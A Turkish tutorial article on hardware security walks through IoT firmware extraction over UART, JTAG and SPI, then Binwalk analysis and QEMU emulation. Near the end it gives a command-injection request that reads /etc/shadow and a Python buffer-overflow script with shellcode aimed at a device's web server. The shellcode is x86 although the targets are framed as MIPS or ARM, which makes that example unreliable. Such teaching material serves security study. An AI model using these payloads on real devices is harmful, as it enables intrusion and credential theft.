AraştırmaIoT / OT / Embedded

Akıllı Cihazların Mutfak Kısmı: UART/JTAG ile Firmware Çıkarımı ve Zafiyet Analizi

Donanım arayüzlerinden veri çıkarımı, QEMU ile mimari emülasyon ve web daemon üzerinde zafiyet analizi

Arda Meçik
Arda MeçikBilgisayar Mühendisliği Öğrencisi & Donanım Güvenliği Araştırmacısı
24 Haziran 2026
5 dakika okuma
Özet

IoT cihazlarının güvenliği yazılım katmanında başlamaz. Bu yazıda donanım arayüzlerinden (UART/JTAG/SPI) firmware çıkarımını, imajın Binwalk ile ayrıştırılmasını, QEMU ile mimari çapraz emülasyonu (MIPS/ARM) ve ayağa kaldırılan web servislerindeki zafiyet (Command Injection, Buffer Overflow) analizini uçtan uca inceliyoruz.

Giriş

Şunu biliyor muydun? Bir router veya akıllı kameranın web arayüzünde hiçbir zafiyet bulamasanız bile, PCB üzerindeki dört ufak pin, size sistemin kalbine inen root yetkili bir terminalin kapılarını sonuna kadar açabilir.

Geleneksel ağ tabanlı sızma testleri, gömülü sistemlerin (embedded systems) analizinde sadece buzdağının görünen yüzüne odaklanır. Cihazın yönetim paneline dışarıdan saldırmak yerine, doğrudan donanım seviyesine inerek cihazın hafızasını kopyalamak, dosya sistemini tersine çevirmek ve sistemi sanal bir ortamda emüle etmek, sıfırıncı gün (zero-day) zafiyetlerinin tespiti için tek kesin yoldur. Bu makalede, bir IoT cihazının PCB’sinden başlayarak bellek taşması zafiyetlerinin istismarına kadar uzanan derin mühendislik zincirini uçtan uca söküyoruz.

Fiziksel Katman Analizi ve Donanım Arayüzlerinden Veri Çıkarımı

Gömülü sistem sızma testlerinde ilk adım, sistem çipinin (SoC) dış dünyayla haberleştiği hata ayıklama (debug) portlarının keşfidir.

UART Pinlerinin Tespiti ve Shell Elde Etme

UART arayüzünü oluşturan dört temel pin (GND, TX, RX, VCC) genellikle kart üzerinde 4’lü pin delikleri (header) olarak bulunur. GND pinini bulmak için multimetre süreklilik (continuity) moduna alınır. Multimetrenin bir probu kart üzerindeki metal bir yuvaya veya büyük bir kapasitörün eksi kutbuna değdirilirken, diğer prob pinler üzerinde gezdirilir. Bip sesi çıkaran pin GND’dir. VCC pinini bulmak için cihaz çalışırken GND ile diğer pinler arasındaki voltaj ölçülür; sabit 3.3V veya 5V veren pin VCC’dir. Kalan iki pinden voltajı dalgalanan TX, diğeri ise RX pinidir.

Baud rate (sinyal hızı) tespiti için bir lojik analizör kullanılarak TX pinindeki sinyalin en kısa bit süresi (bit duration) ölçülür. Örneğin, 8.68 mikrosaniyelik bir bit süresi 1/0.00000868 hesaplaması ile 115200 baud oranına karşılık gelir.

USB-TTL dönüştürücü ile bilgisayara bağlandıktan sonra kök dizine erişmek için terminal üzerinden iletişim başlatılır:

screen /dev/ttyUSB0 115200

JTAG Tespiti ve İşlemci Seviyesine İniş

JTAG arayüzü, işlemcinin register seviyesine kadar inilmesine olanak tanır. Genellikle 10 veya 20 pinli dizilimler halinde bulunur. JTAG adaptörü bağlandıktan sonra OpenOCD konfigürasyon dosyası kullanılarak işlemci halt edilir ve bellek okunur:

openocd -f interface/jtagkey.cfg -f target/ath79.cfg
telnet 127.0.0.1 4444
halt
dump_image firmware.bin 0xbf000000 0x800000

SPI Flash Üzerinden Doğrudan Çıkarım (Hardware Dumping)

Eğer UART ve JTAG arayüzleri üretim aşamasında kapatılmışsa, cihazın işletim sistemi ve dosya sisteminin bulunduğu SPI Flash entegresine doğrudan müdahale edilmelidir. SOP8 klipsi kullanılarak entegre sökülmeden CH341A veya Bus Pirate gibi donanımlarla bacaklara bağlanılır.

flashrom -p ch341a_spi -r flash_dump.bin

Firmware Ayrıştırma ve Dosya Sistemi (Filesystem) Analizi

Donanımdan çekilen ham dosyanın analizi, dosya içindeki imzaların tespiti ile başlar.

Magic Bytes ve Binwalk

Gömülü dosya sistemleri (SquashFS, CramFS, JFFS2) kendilerine özgü “magic bytes” başlıklarına (header) sahiptir. Binwalk aracı, dosya içerisindeki bu byte desenlerini tarayarak işletim sistemi bileşenlerini (bootloader, kernel, filesystem) haritalandırır ve çıkartır.

binwalk -e flash_dump.bin

Entropi Analizi ve Şifreli İmajlar

Cihaz üreticileri firmware dosyalarını şifreleyebilir. Şifrelenmiş veriler yüksek entropi değerine sahip oldukları için tamamen rastgele görünürler.

binwalk -E flash_dump.bin

Entropi analizinde düz bir tepe çizgisi verinin şifrelendiğini veya sıkıştırıldığını gösterir. Şifre çözme işlemi için, çoğunlukla şifrelenmemiş halde olan U-Boot (bootloader) içerisindeki decrypt rutinleri veya çevresel değişkenlerde saklanan AES anahtarları aranır.

Mimari Çapraz Emülasyon (MIPS/ARM to x86 via QEMU)

Donanımı bir kenara bırakıp sadece elde ettiğimiz dosya sistemi üzerinden güvenlik analizi yapmak için donanım mimarisi emüle edilmelidir. IoT cihazlarının geneli MIPS veya ARM mimarisini kullandığından, bu ikili dosyalar doğrudan x86 bir Linux makinede çalıştırılamaz.

qemu-user-static ve Chroot

Çıkartılan dosya sistemindeki binary dosyaları çalıştırabilmek için QEMU statik binary’si dosya sisteminin kök dizinine kopyalanır ve chroot işlemi gerçekleştirilir.

cp /usr/bin/qemu-mips-static squashfs-root/usr/bin/
sudo chroot squashfs-root /bin/sh

QEMU System Emulation ve Ağ Köprüleme

Web sunucusu veya SSH gibi servisler cihazın donanım donanımlarıyla iletişim kurmak istediğinde kullanıcı seviyesi emülasyon çökecektir. Bu durumda QEMU sistem seviyesi emülasyonu kullanılır. Servislerin ana bilgisayardan erişilebilir olması için sanal bir ağ köprüsü yapılandırılmalıdır.

brctl addbr virbr0
ifconfig virbr0 192.168.1.1 up
tunctl -t tap0
ifconfig tap0 up
brctl addif virbr0 tap0

Daha sonra sistem emülasyonu uygun ağ parametreleriyle başlatılır:

qemu-system-mips -M malta -kernel vmlinux-3.2.0-4-4kc-malta -hda rootfs.ext2 -append "root=/dev/sda1 console=ttyS0" -net nic -net tap,ifname=tap0,script=no,downscript=no -nographic

Web Daemon (uhttpd/httpd/boa) Üzerinde Ofansif Analiz ve Zafiyet Keşfi

Cihazın yönetim paneli, QEMU ağ yapılandırması tamamlandıktan sonra host bilgisayarın tarayıcısı üzerinden incelenebilir hale gelir. Arka planda çalışan web sunucusu decompile edilerek kod içindeki güvenlik açıkları tespit edilir.

Ghidra ile Decompile İşlemi

uhttpd veya boa isimli web sunucu ikili dosyası Ghidra gibi bir araca yüklenir. MIPS/ARM makine kodları pseudo-C koduna çevrilerek kullanıcı girdilerinin doğrulama aşamaları izlenir.

Komut Enjeksiyonu (Command Injection) İstismarı

Eğer HTTP üzerinden alınan bir parametre, zafiyetli bir biçimde doğrulanmadan sistem çağrılarına aktarılıyorsa bu bir komut enjeksiyonu açığıdır. Örneğin, system() veya popen() fonksiyonlarına paslanan bir ping aracının IP parametresi kontrol edilmediğinde, aşağıdaki gibi bir istek işletim sistemi seviyesinde çalıştırılabilir:

curl -X POST http://192.168.1.100/cgi-bin/ping.cgi -d "ip=127.0.0.1;cat /etc/shadow"

Bellek Taşması (Buffer Overflow)

C dili ile yazılan eski web daemon yapılarında strcpy(), strcat() veya sprintf() gibi güvenlik sınırları kontrolü olmayan fonksiyonların kullanımı stack tabanlı bellek taşmalarına yol açar. Gelen uzun bir HTTP başlığı Return Address’i ezerek yürütme akışını ele geçirir.

import socket
import struct

target_ip = "192.168.1.100"
target_port = 80

padding = b"A" * 1024
ret_address = struct.pack("<I", 0x40871234)
shellcode = b"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\xb0\x0b\xcd\x80"

payload = padding + ret_address + shellcode

http_request = b"GET / HTTP/1.1\r\n"
http_request += b"Host: " + payload + b"\r\n\r\n"

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((target_ip, target_port))
s.send(http_request)
s.close()

Sonuç

Gömülü sistem sızma testleri, basit zafiyet tarayıcılarının çok ötesinde multidisipliner bir yaklaşım gerektirir:

  • Cihazın UART, JTAG ve SPI gibi fiziksel portları, sistemin güvenliğine açılan ilk ve en tehlikeli arka kapılardır.
  • Şifreli yazılımlar sadece geçici bir engeldir; bootloader veya çevresel değişkenler daima kriptografik anahtarları barındırır.
  • QEMU aracılığıyla mimari emülasyon, donanımdan bağımsız bir analiz ortamı sunarak zafiyet tespiti için hayati önem taşır.
  • Tersine mühendislik ile elde edilen kaynak kod analizleri, komut enjeksiyonu ve bellek taşması gibi kritik zafiyetlerin tespit edilip sömürülmesine doğrudan zemin hazırlar.

Kaynakça

  1. Binwalk - Firmware Analysis Tool
  2. QEMU Emulator Documentation
  3. Ghidra Reverse Engineering Framework
Arda Meçik
Bilgisayar Mühendisliği Öğrencisi & Donanım Güvenliği Araştırmacısı
Trakya Üniversitesi Bilgisayar Mühendisliği öğrencisi olan Arda Meçik; gömülü sistemler, donanım güvenliği ve FPGA teknolojileri üzerine çalışmaktadır. FPGA tabanlı RO-PUF ve model şifreleme projeleri (CyberPUF) geliştirerek donanım katmanında kök güvenliği (Root of Trust) çözümlerine odaklanmaktadır.

Sen de yaz, arşivde yerini al

AltaySec Arşiv'e katkı ver — uzmanlığını Türkçe siber güvenlik literatürüne kat.

Yazar Ol